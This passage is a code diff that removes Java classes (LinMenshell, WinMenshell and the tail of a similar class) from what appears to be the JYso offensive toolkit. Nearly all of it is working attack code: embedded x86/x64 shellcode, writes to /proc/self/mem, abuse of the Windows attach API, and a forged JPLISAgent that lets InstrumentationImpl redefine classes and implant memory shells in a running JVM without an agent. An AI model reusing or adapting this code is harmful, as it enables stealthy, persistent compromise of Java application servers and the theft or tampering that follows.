(byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3};
byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41};
if (pointerLength == 4) {
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub = new byte[]{0x44, 0x43, 0x42, 0x41};
}
buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength));
classBody[7] = 0x32;
Class<?> windowsVirtualMachine;
System.loadLibrary("attach");
try {
windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine");
} catch (ClassNotFoundException e) {
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16};
ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
windowsVirtualMachine = (Class<?>) defineClass.invoke(classLoader, bytes, 0, bytes.length);
}
Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class);
method.setAccessible(true);
method.invoke(null, -1, buf, "enqueue", "enqueue", null);
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
} else {
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
}
redefineClasses(className, classBody, JPLISAgent);
}
/**
* long 转字节数组,小端
*/
public static byte[] long2ByteArray_Little_Endian(long l, int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) {
for (int i = 0; i < bytes.length; i++) {
boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等;
for (int j = 0; j < byteSource.length; j++) {
if (i + j < bytes.length && bytes[i + j] == byteSource[j]) {
} else {
bl = false;
}
}
if (bl) {
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) {
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}});
} catch (Throwable error) {
error.printStackTrace();
}
}
}
@@ -1,235 +0,0 @@
package com.qi4l.JYso.template.Agent;
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class LinMenshell {
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC = 2;
private static final int STT_GNU_IFUNC = 10;
public static String className;
public static byte[] classBody;
private LinMenshell() throws Exception {
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field1.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
field1.setBoolean(null, true);
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
while ((line = reader.readLine()) != null) {
String[] splits = line.trim().split(" ");
if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
} else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}
if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
break;
}
fin.close();
//修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
//RSP 16字节对齐
byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0};
byte[] movabs_rax = {0x48, (byte) 0xb8};
ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3};
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
long landingpad = RandomAccessFile_length;
byte[] backup = new byte[shellcode_len];
fout.seek(landingpad);
fout.read(backup);
fout.seek(landingpad);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length(); //触发执行
System.out.printf("native_jvmtienv %x\n", native_jvmtienv);
//恢复代码
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 )
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
//利用伪造的JPLISAgent结构实例化InstrumentationImpl
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{
new ClassDefinition[]{
definition
}
});
} catch (Exception e) {
e.printStackTrace();
}
fout.getFD();
}
private static int ELF_ST_TYPE(int x) {
return (x & 0xf);
}
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0;
long sh_addr = 0;
long sh_offset = 0;
long sh_size = 0;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0;
long sh_entsize = 0;
for (int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + i * 64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if (sh_type == SHT_DYNSYM) {
break;
}
}
int symtab_shdr_sh_link = sh_link;
long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0;
for (long i = 0; i < cnt; ++i) {
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i);
int st_name = Integer.reverseBytes(fin.readInt());
byte st_info = fin.readByte();
byte st_other = fin.readByte();
short st_shndx = Short.reverseBytes(fin.readShort());
long st_value = Long.reverseBytes(fin.readLong());
long st_size = Long.reverseBytes(fin.readLong());
if (st_value == 0
|| st_name == 0
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) {
continue;
}
fin.seek(symstr_shdr_sh_offset + st_name);
String name = "";
byte ch = 0;
while ((ch = fin.readByte()) != 0) {
name += (char) ch;
}
if (sym.equals(name)) {
func_ptr = libbase + st_value;
break;
}
}
fin.close();
return func_ptr;
}
}
@@ -1,111 +0,0 @@
package com.qi4l.JYso.template.Agent;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class WinMenshell {
public static int pointerLength = 8;
public static String className;
public static byte[] classBody;
public WinMenshell() throws Exception {
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field1.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
field1.setBoolean(null, true);
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3};
byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41};
if (pointerLength == 4) {
